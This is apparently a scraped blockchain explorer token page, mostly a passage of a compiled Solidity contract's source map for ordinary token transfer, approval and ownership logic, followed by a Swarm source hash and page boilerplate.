0:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;23836:1;23817:21;;:7;:21;;;23809:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;23920:6;23890:11;:18;23902:5;23890:18;;;;;;;;;;;;;;;:27;23909:7;23890:27;;;;;;;;;;;;;;;:36;;;;23958:7;23942:32;;23951:5;23942:32;;;23967:6;23942:32;;;;;;:::i;:::-;;;;;;;;23602:380;;;:::o;20149:610::-;20307:1;20289:20;;:6;:20;;;20281:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;20391:1;20370:23;;:9;:23;;;20362:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;20446:47;20467:6;20475:9;20486:6;20446:20;:47::i;:::-;20526:108;20562:6;20526:108;;;;;;;;;;;;;;;;;:9;:17;20536:6;20526:17;;;;;;;;;;;;;;;;:21;;:108;;;;;:::i;:::-;20506:9;:17;20516:6;20506:17;;;;;;;;;;;;;;;:128;;;;20668:32;20693:6;20668:9;:20;20678:9;20668:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;20645:9;:20;20655:9;20645:20;;;;;;;;;;;;;;;:55;;;;20733:9;20716:35;;20725:6;20716:35;;;20744:6;20716:35;;;;;;:::i;:::-;;;;;;;;20149:610;;;:::o;11162:240::-;11282:7;11340:1;11335;:6;;11343:12;11327:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;11382:1;11378;:5;11371:12;;11162:240;;;;;:::o;5897:173::-;5953:16;5972:6;;;;;;;;;;;5953:25;;5998:8;5989:6;;:17;;;;;;;;;;;;;;;;;;6053:8;6022:40;;6043:8;6022:40;;;;;;;;;;;;5942:128;5897:173;:::o;25310:125::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:93::-;4889:7;4929:10;4922:5;4918:22;4907:33;;4853:93;;;:::o;4952:120::-;5024:23;5041:5;5024:23;:::i;:::-;5017:5;5014:34;5004:62;;5062:1;5059;5052:12;5004:62;4952:120;:::o;5078:137::-;5123:5;5161:6;5148:20;5139:29;;5177:32;5203:5;5177:32;:::i;:::-;5078:137;;;;:::o;5221:907::-;5314:6;5322;5330;5338;5346;5395:3;5383:9;5374:7;5370:23;5366:33;5363:120;;;5402:79;;:::i;:::-;5363:120;5522:1;5547:53;5592:7;5583:6;5572:9;5568:22;5547:53;:::i;:::-;5537:63;;5493:117;5649:2;5675:53;5720:7;5711:6;5700:9;5696:22;5675:53;:::i;:::-;5665:63;;5620:118;5777:2;5803:53;5848:7;5839:6;5828:9;5824:22;5803:53;:::i;:::-;5793:63;;5748:118;5905:2;5931:52;5975:7;5966:6;5955:9;5951:22;5931:52;:::i;:::-;5921:62;;5876:117;6032:3;6059:52;6103:7;6094:6;6083:9;6079:22;6059:52;:::i;:::-;6049:62;;6003:118;5221:907;;;;;;;;:::o;6134:329::-;6193:6;6242:2;6230:9;6221:7;6217:23;6213:32;6210:119;;;6248:79;;:::i;:::-;6210:119;6368:1;6393:53;6438:7;6429:6;6418:9;6414:22;6393:53;:::i;:::-;6383:63;;6339:117;6134:329;;;;:::o;6469:118::-;6556:24;6574:5;6556:24;:::i;:::-;6551:3;6544:37;6469:118;;:::o;6593:222::-;6686:4;6724:2;6713:9;6709:18;6701:26;;6737:71;6805:1;6794:9;6790:17;6781:6;6737:71;:::i;:::-;6593:222;;;;:::o;6821:474::-;6889:6;6897;6946:2;6934:9;6925:7;6921:23;6917:32;6914:119;;;6952:79;;:::i;:::-;6914:119;7072:1;7097:53;7142:7;7133:6;7122:9;7118:22;7097:53;:::i;:::-;7087:63;;7043:117;7199:2;7225:53;7270:7;7261:6;7250:9;7246:22;7225:53;:::i;:::-;7215:63;;7170:118;6821:474;;;;;:::o;7301:180::-;7349:77;7346:1;7339:88;7446:4;7443:1;7436:15;7470:4;7467:1;7460:15;7487:320;7531:6;7568:1;7562:4;7558:12;7548:22;;7615:1;7609:4;7605:12;7636:18;7626:81;;7692:4;7684:6;7680:17;7670:27;;7626:81;7754:2;7746:6;7743:14;7723:18;7720:38;7717:84;;7773:18;;:::i;:::-;7717:84;7538:269;7487:320;;;:::o;7813:182::-;7953:34;7949:1;7941:6;7937:14;7930:58;7813:182;:::o;8001:366::-;8143:3;8164:67;8228:2;8223:3;8164:67;:::i;:::-;8157:74;;8240:93;8329:3;8240:93;:::i;:::-;8358:2;8353:3;8349:12;8342:19;;8001:366;;;:::o;8373:419::-;8539:4;8577:2;8566:9;8562:18;8554:26;;8626:9;8620:4;8616:20;8612:1;8601:9;8597:17;8590:47;8654:131;8780:4;8654:131;:::i;:::-;8646:139;;8373:419;;;:::o;8798:180::-;8846:77;8843:1;8836:88;8943:4;8940:1;8933:15;8967:4;8964:1;8957:15;8984:102;9026:8;9073:5;9070:1;9066:13;9045:34;;8984:102;;;:::o;9092:848::-;9153:5;9160:4;9184:6;9175:15;;9208:5;9199:14;;9222:712;9243:1;9233:8;9230:15;9222:712;;;9338:4;9333:3;9329:14;9323:4;9320:24;9317:50;;;9347:18;;:::i;:::-;9317:50;9397:1;9387:8;9383:16;9380:451;;;9812:4;9805:5;9801:16;9792:25;;9380:451;9862:4;9856;9852:15;9844:23;;9892:32;9915:8;9892:32;:::i;:::-;9880:44;;9222:712;;;9092:848;;;;;;;:::o;9946:1073::-;10000:5;10191:8;10181:40;;10212:1;10203:10;;10214:5;;10181:40;10240:4;10230:36;;10257:1;10248:10;;10259:5;;10230:36;10326:4;10374:1;10369:27;;;;10410:1;10405:191;;;;10319:277;;10369:27;10387:1;10378:10;;10389:5;;;10405:191;10450:3;10440:8;10437:17;10434:43;;;10457:18;;:::i;:::-;10434:43;10506:8;10503:1;10499:16;10490:25;;10541:3;10534:5;10531:14;10528:40;;;10548:18;;:::i;:::-;10528:40;10581:5;;;10319:277;;10705:2;10695:8;10692:16;10686:3;10680:4;10677:13;10673:36;10655:2;10645:8;10642:16;10637:2;10631:4;10628:12;10624:35;10608:111;10605:246;;;10761:8;10755:4;10751:19;10742:28;;10796:3;10789:5;10786:14;10783:40;;;10803:18;;:::i;:::-;10783:40;10836:5;;10605:246;10876:42;10914:3;10904:8;10898:4;10895:1;10876:42;:::i;:::-;10861:57;;;;10950:4;10945:3;10941:14;10934:5;10931:25;10928:51;;;10959:18;;:::i;:::-;10928:51;11008:4;11001:5;10997:16;10988:25;;9946:1073;;;;;;:::o;11025:225::-;11083:5;11107:22;11124:4;11107:22;:::i;:::-;11099:30;;11150:26;11167:8;11150:26;:::i;:::-;11138:38;;11195:48;11232:10;11222:8;11216:4;11195:48;:::i;:::-;11186:57;;11025:225;;;;:::o;11256:410::-;11296:7;11319:20;11337:1;11319:20;:::i;:::-;11314:25;;11353:20;11371:1;11353:20;:::i;:::-;11348:25;;11408:1;11405;11401:9;11430:30;11448:11;11430:30;:::i;:::-;11419:41;;11609:1;11600:7;11596:15;11593:1;11590:22;11570:1;11563:9;11543:83;11520:139;;11639:18;;:::i;:::-;11520:139;11304:362;11256:410;;;;:::o;11672:225::-;11812:34;11808:1;11800:6;11796:14;11789:58;11881:8;11876:2;11868:6;11864:15;11857:33;11672:225;:::o;11903:366::-;12045:3;12066:67;12130:2;12125:3;12066:67;:::i;:::-;12059:74;;12142:93;12231:3;12142:93;:::i;:::-;12260:2;12255:3;12251:12;12244:19;;11903:366;;;:::o;12275:419::-;12441:4;12479:2;12468:9;12464:18;12456:26;;12528:9;12522:4;12518:20;12514:1;12503:9;12499:17;12492:47;12556:131;12682:4;12556:131;:::i;:::-;12548:139;;12275:419;;;:::o;12700:191::-;12740:3;12759:20;12777:1;12759:20;:::i;:::-;12754:25;;12793:20;12811:1;12793:20;:::i;:::-;12788:25;;12836:1;12833;12829:9;12822:16;;12857:3;12854:1;12851:10;12848:36;;;12864:18;;:::i;:::-;12848:36;12700:191;;;;:::o;12897:223::-;13037:34;13033:1;13025:6;13021:14;13014:58;13106:6;13101:2;13093:6;13089:15;13082:31;12897:223;:::o;13126:366::-;13268:3;13289:67;13353:2;13348:3;13289:67;:::i;:::-;13282:74;;13365:93;13454:3;13365:93;:::i;:::-;13483:2;13478:3;13474:12;13467:19;;13126:366;;;:::o;13498:419::-;13664:4;13702:2;13691:9;13687:18;13679:26;;13751:9;13745:4;13741:20;13737:1;13726:9;13722:17;13715:47;13779:131;13905:4;13779:131;:::i;:::-;13771:139;;13498:419;;;:::o;13923:221::-;14063:34;14059:1;14051:6;14047:14;14040:58;14132:4;14127:2;14119:6;14115:15;14108:29;13923:221;:::o;14150:366::-;14292:3;14313:67;14377:2;14372:3;14313:67;:::i;:::-;14306:74;;14389:93;14478:3;14389:93;:::i;:::-;14507:2;14502:3;14498:12;14491:19;;14150:366;;;:::o;14522:419::-;14688:4;14726:2;14715:9;14711:18;14703:26;;14775:9;14769:4;14765:20;14761:1;14750:9;14746:17;14739:47;14803:131;14929:4;14803:131;:::i;:::-;14795:139;;14522:419;;;:::o;14947:224::-;15087:34;15083:1;15075:6;15071:14;15064:58;15156:7;15151:2;15143:6;15139:15;15132:32;14947:224;:::o;15177:366::-;15319:3;15340:67;15404:2;15399:3;15340:67;:::i;:::-;15333:74;;15416:93;15505:3;15416:93;:::i;:::-;15534:2;15529:3;15525:12;15518:19;;15177:366;;;:::o;15549:419::-;15715:4;15753:2;15742:9;15738:18;15730:26;;15802:9;15796:4;15792:20;15788:1;15777:9;15773:17;15766:47;15830:131;15956:4;15830:131;:::i;:::-;15822:139;;15549:419;;;:::o;15974:222::-;16114:34;16110:1;16102:6;16098:14;16091:58;16183:5;16178:2;16170:6;16166:15;16159:30;15974:222;:::o;16202:366::-;16344:3;16365:67;16429:2;16424:3;16365:67;:::i;:::-;16358:74;;16441:93;16530:3;16441:93;:::i;:::-;16559:2;16554:3;16550:12;16543:19;;16202:366;;;:::o;16574:419::-;16740:4;16778:2;16767:9;16763:18;16755:26;;16827:9;16821:4;16817:20;16813:1;16802:9;16798:17;16791:47;16855:131;16981:4;16855:131;:::i;:::-;16847:139;;16574:419;;;:::o

Swarm Source

ipfs://73d10561147b1efc7706852f7fba241b6702f8b3dc6a8d996df30e6cc39e3ceb
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.